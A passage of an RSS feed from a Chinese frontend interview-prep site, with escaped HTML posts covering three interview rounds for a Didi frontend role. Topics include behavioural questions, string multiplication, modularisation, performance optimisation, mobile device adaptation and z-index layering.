&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt;[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;love&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fxArr&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// [&amp;#34;One&amp;#34;, &amp;#34;Two&amp;#34;, &amp;#34;Three&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;fxArrs&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// [&amp;#34;One&amp;#34;, &amp;#34;love&amp;#34;, &amp;#34;Three&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="三深拷贝"&gt;三、深拷贝&lt;/h2&gt;
&lt;p&gt;深拷贝开辟一个新的栈，两个对象的属性完全相同，但是对应两个不同的地址，修改一个对象的属性，不会改变另一个对象的属性&lt;/p&gt;</description></item><item><title>滴滴-社招-3年 · 第 1 轮 · 三面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-94/</link><pubDate>Mon, 28 Jul 2025 05:39:29 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-94/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-93/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 浏览器渲染过程、浏览器的缓存机制、浏览器的垃圾回收机制、浏览器的存储机制&lt;/p&gt;
&lt;p&gt;本轮共 10 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-98da1f5bbe94"&gt;1. 在你做过的项目中，最值得说的是哪一个&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;STAR法则&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;基于自己简历挖掘亮点项目&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-1a73c841fa54"&gt;2. 在该项目中，你主要负责哪些模块的开发？这些模块的技术难点是什么&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-5b176ffb091f"&gt;3. 请举例说明在项目中，你是如何通过技术手段解决业务问题的&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-0fdfb5bf5b6b"&gt;4. 在项目中，你采取了哪些性能优化措施？效果如何&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;可以参考 【性能优化】相关知识点，在面经最后&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-3fa86026797b"&gt;5. 在项目中遇到的最大技术挑战是什么？你是如何解决的&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-e967bea0e873"&gt;6. 在项目中，你是如何与团队成员协作的？请分享一个具体的协作案例&lt;/h2&gt;
&lt;h3 id="题目要点-5"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-fcdcf89f3234"&gt;7. 在团队协作中，遇到过哪些冲突？你是如何解决的&lt;/h2&gt;
&lt;h3 id="题目要点-6"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-a4d9118359ba"&gt;8. 在项目中，你是如何进行项目管理和进度保障的&lt;/h2&gt;
&lt;h3 id="题目要点-7"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-723e5a28df32"&gt;9. 你的职业规划是什么样的？短期和长期目标分别是什么&lt;/h2&gt;
&lt;h3 id="题目要点-8"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-265243f3e08c"&gt;10. 给定两个以字符串形式表示的非负整数 num1 和 num2，返回 num1 和 num2 的乘积，它们的乘积也表示为字符串形式&lt;/h2&gt;
&lt;p&gt;注意：不能使用任何内置的 BigInteger 库或直接将输入转换为整数&lt;/p&gt;
&lt;p&gt;示例 1:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;输入&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;num1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;2&amp;#34;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;num2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;3&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;输出&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;6&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;示例 2:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;输入: num1 = &amp;#34;123&amp;#34;, num2 = &amp;#34;456&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;输出: &amp;#34;56088&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="题目要点-9"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;模拟多位数乘法的过程，按位乘积+进位合并&lt;/li&gt;
&lt;li&gt;用数组保存每一位的计算结果，最终拼接成字符串&lt;/li&gt;
&lt;li&gt;注意字符串转数字、进位处理、前导 0 清除等细节&lt;/li&gt;
&lt;li&gt;不允许使用 BigInt、Number 等将字符串转换为数字&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;考察对字符串操作的熟练程度和大数模拟乘法逻辑实现能力&lt;/li&gt;
&lt;li&gt;掌握多位数相乘的数学原理，模拟竖式乘法&lt;/li&gt;
&lt;li&gt;考察对数组操作、进位处理、边界情况的处理能力&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="一原理说明"&gt;一、原理说明&lt;/h4&gt;
&lt;p&gt;由于不能直接将字符串转为整数，需模拟“&lt;strong&gt;逐位乘法 + 进位处理&lt;/strong&gt;”，如同手动计算多位乘法（竖式）一样：&lt;/p&gt;</description></item><item><title>滴滴-社招-3年 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-93/</link><pubDate>Mon, 28 Jul 2025 03:27:35 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-93/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-92/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-94/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; react hooks、列表和key、高阶组件、性能优化、react 渲染机制、React函数组件更新、react 组件设计模式、全方位解读this、类型判断&lt;/p&gt;
&lt;p&gt;本轮共 14 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-26e1dc3b0dcc"&gt;1. 项目中遇到的最大技术挑战是什么&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-69995578c3fa"&gt;2. 项目整体架构是什么样的&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-6df78bf9f0d6"&gt;3. 在项目中，你们是如何进行前端代码的模块化和组件化的&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;模块化：代码拆分成独立功能模块，使用 ES Module 标准&lt;br&gt;&lt;/li&gt;
&lt;li&gt;组件化：UI拆分成可复用组件，封装结构、样式和逻辑&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合构建工具支持模块管理和代码分割&lt;br&gt;&lt;/li&gt;
&lt;li&gt;组件通信通过 props、事件、状态管理实现&lt;br&gt;&lt;/li&gt;
&lt;li&gt;合理设计文件结构和规范，提升维护性和扩展性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;注意职责单一、样式隔离和性能优化&lt;br&gt;&lt;/li&gt;
&lt;li&gt;防止模块和组件划分不合理导致管理混乱&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;理解模块化和组件化的概念及其在前端开发中的重要性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;熟悉常见的模块化规范（如 CommonJS、ES Module）及其区别&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握组件化设计思想和实现方式，尤其是在主流框架中的实践&lt;br&gt;&lt;/li&gt;
&lt;li&gt;能结合项目需求合理组织代码结构，提高复用性和维护性&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="一原理说明"&gt;一、原理说明&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;模块化&lt;/strong&gt; 指将代码拆分成独立的、功能明确的模块，每个模块有自己的作用域和接口，避免全局污染，提高代码可维护性。&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;常见规范包括：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CommonJS&lt;/strong&gt;（Node.js环境，使用 &lt;code&gt;require&lt;/code&gt; 和 &lt;code&gt;module.exports&lt;/code&gt;）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AMD&lt;/strong&gt;（异步模块定义，适用于浏览器异步加载）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ES Module（ESM）&lt;/strong&gt;（现代标准，使用 &lt;code&gt;import&lt;/code&gt; 和 &lt;code&gt;export&lt;/code&gt;，支持静态分析）&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;组件化&lt;/strong&gt; 是模块化的进一步细化，专注于 UI 层面，将界面拆分成独立且可复用的组件，封装逻辑、样式和结构。&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;组件通常包含状态管理、事件处理、生命周期管理等，方便组合和维护。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;主流框架如 Vue、React、Angular 都鼓励基于组件开发。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id="二项目中模块化和组件化的实践"&gt;二、项目中模块化和组件化的实践&lt;/h4&gt;
&lt;h5 id="1-模块化管理"&gt;1. &lt;strong&gt;模块化管理&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;项目采用 &lt;strong&gt;ES Module&lt;/strong&gt; 作为标准模块规范，利用 &lt;code&gt;import&lt;/code&gt; 和 &lt;code&gt;export&lt;/code&gt; 进行模块间依赖管理。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;通过合理拆分功能模块（如工具库、接口服务、状态管理、业务逻辑）形成清晰的依赖关系，便于维护和测试。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;使用构建工具（Webpack、Vite）支持模块打包和代码分割，提高加载效率。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;配合 &lt;code&gt;alias&lt;/code&gt; 和路径管理，保持模块引用简洁，提升开发体验。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="2-组件化设计"&gt;2. &lt;strong&gt;组件化设计&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;界面层面，拆分成粒度合适的可复用组件，满足单一职责原则。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;采用状态提升、属性传递和事件回调机制实现组件间通信。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;使用组件库（如 Element UI、Ant Design）或自研组件库提升开发效率。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结合样式模块化（CSS Modules、Scoped CSS、CSS-in-JS）实现样式隔离，防止样式冲突。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;组件支持配置化和插槽机制，提高灵活性和扩展性。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="3-代码组织结构"&gt;3. &lt;strong&gt;代码组织结构&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;按业务域或功能划分文件夹，模块和组件分层清晰，便于定位和扩展。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;统一入口导出，方便模块聚合和复用。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;编写完善的文档和规范，确保团队成员对模块和组件使用方式达成共识。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="4-优势与价值"&gt;4. &lt;strong&gt;优势与价值&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;提高代码复用率，减少重复开发和维护成本。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;降低耦合度，提升系统可扩展性。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;加快开发节奏，方便多人协作。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;利用现代构建工具实现性能优化。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id="三常见误区与注意点"&gt;三、常见误区与注意点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;模块划分过细或过粗&lt;/strong&gt; 导致管理困难或代码臃肿，需根据项目复杂度合理拆分。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;组件职责不明确&lt;/strong&gt;，混合业务逻辑和表现层，影响复用和测试。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;忽视样式隔离，导致样式污染和冲突。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;组件间通信设计不合理，导致状态管理混乱。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;忽略模块和组件的性能优化，如避免无意义的重新渲染和重复加载。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-43824f1001b4"&gt;4. 项目中做过哪些性能优化方面的工作&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;资源按需加载与代码拆分减少首屏加载时间&lt;br&gt;&lt;/li&gt;
&lt;li&gt;静态资源压缩、合并和 CDN 加速&lt;br&gt;&lt;/li&gt;
&lt;li&gt;图片优化与懒加载&lt;br&gt;&lt;/li&gt;
&lt;li&gt;减少 DOM 操作，合理使用虚拟 DOM&lt;br&gt;&lt;/li&gt;
&lt;li&gt;JS 任务拆分，使用防抖节流和 Web Worker&lt;br&gt;&lt;/li&gt;
&lt;li&gt;接口合并、缓存和 HTTP/2 多路复用&lt;br&gt;&lt;/li&gt;
&lt;li&gt;持续性能监控与数据驱动优化&lt;br&gt;&lt;/li&gt;
&lt;li&gt;避免过度拆分和缓存策略失误&lt;br&gt;&lt;/li&gt;
&lt;li&gt;注重整体性能和用户设备多样性&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点-1"&gt;考察点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;理解前端性能优化的核心目标与常见瓶颈&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握多种性能优化手段及其适用场景&lt;br&gt;&lt;/li&gt;
&lt;li&gt;能结合具体项目场景，分析问题并提出有效优化策略&lt;br&gt;&lt;/li&gt;
&lt;li&gt;熟悉常用性能监控和评估工具，验证优化效果&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="参考答案-1"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="一原理说明-1"&gt;一、原理说明&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;前端性能优化的核心目标是提升页面加载速度、响应速度和交互流畅度，从而改善用户体验，降低用户流失。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;性能瓶颈通常来源于资源加载慢、渲染阻塞、JavaScript 执行耗时、内存泄漏和网络请求频繁等。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;现代性能优化涉及多个层面，包括网络层、资源层、渲染层和代码执行层。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;性能优化不仅是技术问题，更涉及合理架构设计和业务合理拆分。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id="二项目中的具体优化实践"&gt;二、项目中的具体优化实践&lt;/h4&gt;
&lt;h5 id="1-资源加载优化"&gt;1. &lt;strong&gt;资源加载优化&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;采用代码拆分（Code Splitting）和按需加载，避免一次性加载大量无关代码，缩短首屏加载时间。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;使用 CDN 分发静态资源，提升资源下载速度。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;资源压缩和合并（如压缩 JS/CSS，合并小文件减少请求数量）。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;图片优化（WebP 格式替代、图片懒加载、合理尺寸裁剪）。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;利用浏览器缓存策略（Cache-Control、Service Worker）减少重复请求。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="2-渲染性能优化"&gt;2. &lt;strong&gt;渲染性能优化&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;减少 DOM 操作次数，合并多次修改，避免触发频繁回流和重绘。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;使用虚拟 DOM 和虚拟列表技术优化大量数据渲染。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;CSS 动画尽量使用 GPU 加速属性（如 transform、opacity）。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;避免长任务阻塞主线程，合理拆分 JS 任务，防止界面卡顿。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="3-javascript-执行优化"&gt;3. &lt;strong&gt;JavaScript 执行优化&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;减少不必要的计算和事件绑定，防抖节流常用来优化频繁触发的事件。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;使用 Web Worker 将计算密集型任务移至后台线程，避免主线程阻塞。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;利用 Tree Shaking 去除未使用代码，减小包体积。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;预编译和缓存机制提升运行效率。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="4-网络请求优化"&gt;4. &lt;strong&gt;网络请求优化&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;接口合并，减少请求次数。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;接口缓存，避免重复请求同一数据。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;接口压缩与批量请求。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;使用 HTTP/2 多路复用，提升请求并发性能。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="5-性能监控与持续优化"&gt;5. &lt;strong&gt;性能监控与持续优化&lt;/strong&gt;&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;集成性能监控工具（如 Lighthouse、Chrome DevTools Performance、RUM 埋点等）。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;通过埋点监控首屏时间、接口响应时间、动画帧率等关键指标。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;根据监控数据持续跟踪性能瓶颈，迭代优化。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id="三常见误区与注意点-1"&gt;三、常见误区与注意点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;只注重单一优化手段，忽视整体性能提升策略。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;盲目过度拆分导致请求过多，反而影响性能。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;缓存设置不合理，导致用户看到过期内容。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;不关注性能监控数据，缺乏闭环改进。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;忽视用户设备差异，优化方案不够适配低端设备。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-bfa8d18a2415"&gt;5. 在移动端开发中，你们是如何处理不同设备的适配问题的&lt;/h2&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;了解并使用 viewport 设置布局基础&lt;/li&gt;
&lt;li&gt;灵活组合 rem/vw/flex/media query 等单位和布局方案&lt;/li&gt;
&lt;li&gt;使用 postcss 工具链统一适配流程&lt;/li&gt;
&lt;li&gt;考虑高DPR设备图像清晰度适配&lt;/li&gt;
&lt;li&gt;针对横屏、Pad 等极端设备考虑额外样式方案&lt;/li&gt;
&lt;li&gt;注重兼容性测试，处理浏览器差异&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点-2"&gt;考察点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否了解常见的移动端适配方案及原理&lt;br&gt;&lt;/li&gt;
&lt;li&gt;是否能结合业务场景选择合理的适配策略&lt;br&gt;&lt;/li&gt;
&lt;li&gt;是否关注兼容性、用户体验和性能平衡&lt;br&gt;&lt;/li&gt;
&lt;li&gt;是否能系统性总结适配技术手段的优缺点&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="参考答案-2"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="一适配问题的来源"&gt;一、适配问题的来源&lt;/h4&gt;
&lt;p&gt;移动端设备种类繁多，存在如下适配挑战：&lt;/p&gt;</description></item><item><title>滴滴-社招-3年 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-92/</link><pubDate>Mon, 28 Jul 2025 03:15:10 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-92/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-93/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; z-index、布局技巧、Flexbox、优化性能、react hooks、浏览器渲染过程、浏览器的缓存机制、浏览器的垃圾回收机制&lt;/p&gt;
&lt;p&gt;本轮共 11 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-920e774f1156"&gt;1. 讲一下可视化搭建平台中魔方组件的设计与实现难点&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-6898841d5b91"&gt;2. 如何解决多模块叠加时的z-index管理问题&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;z-index&lt;/code&gt; 基于层叠上下文，简单数字不能保证全局一致性&lt;/li&gt;
&lt;li&gt;建立统一 z-index 管理系统（如 Z_INDEX_MAP）是可维护的关键&lt;/li&gt;
&lt;li&gt;模块内部创建局部 stacking context，避免全局冲突&lt;/li&gt;
&lt;li&gt;动态模块如拖拽、浮层应使用自动 z-index 分配策略&lt;/li&gt;
&lt;li&gt;避免滥用 z-index，建议结合 portal、绝对定位和容器设计实现可控叠加&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;面试官想了解你在复杂 UI 组件系统中的图层管理策略&lt;/li&gt;
&lt;li&gt;探查你对 &lt;code&gt;z-index&lt;/code&gt; 的工作机制、层级上下文（stacking context）的理解&lt;/li&gt;
&lt;li&gt;是否具备系统化组织多模块图层关系的经验，能避免冲突和错乱&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="一z-index-背后机制与问题本质"&gt;一、z-index 背后机制与问题本质&lt;/h4&gt;
&lt;h5 id="1-z-index-的作用机制"&gt;1. z-index 的作用机制&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;z-index&lt;/code&gt; 定义元素在“同一层叠上下文（stacking context）”中的前后顺序&lt;/li&gt;
&lt;li&gt;层叠上下文由具有特定属性的元素（如&lt;code&gt;position: relative/absolute/fixed&lt;/code&gt; + &lt;code&gt;z-index&lt;/code&gt;）创建&lt;/li&gt;
&lt;li&gt;每个层叠上下文是独立的，只影响自身子元素的层叠关系&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="2-可视化搭建系统的典型挑战"&gt;2. 可视化搭建系统的典型挑战&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;多模块（如弹窗、悬浮面板、组件拖拽层、选中态）频繁叠加，若统一用裸 &lt;code&gt;z-index&lt;/code&gt; 数字管理，非常容易：
&lt;ul&gt;
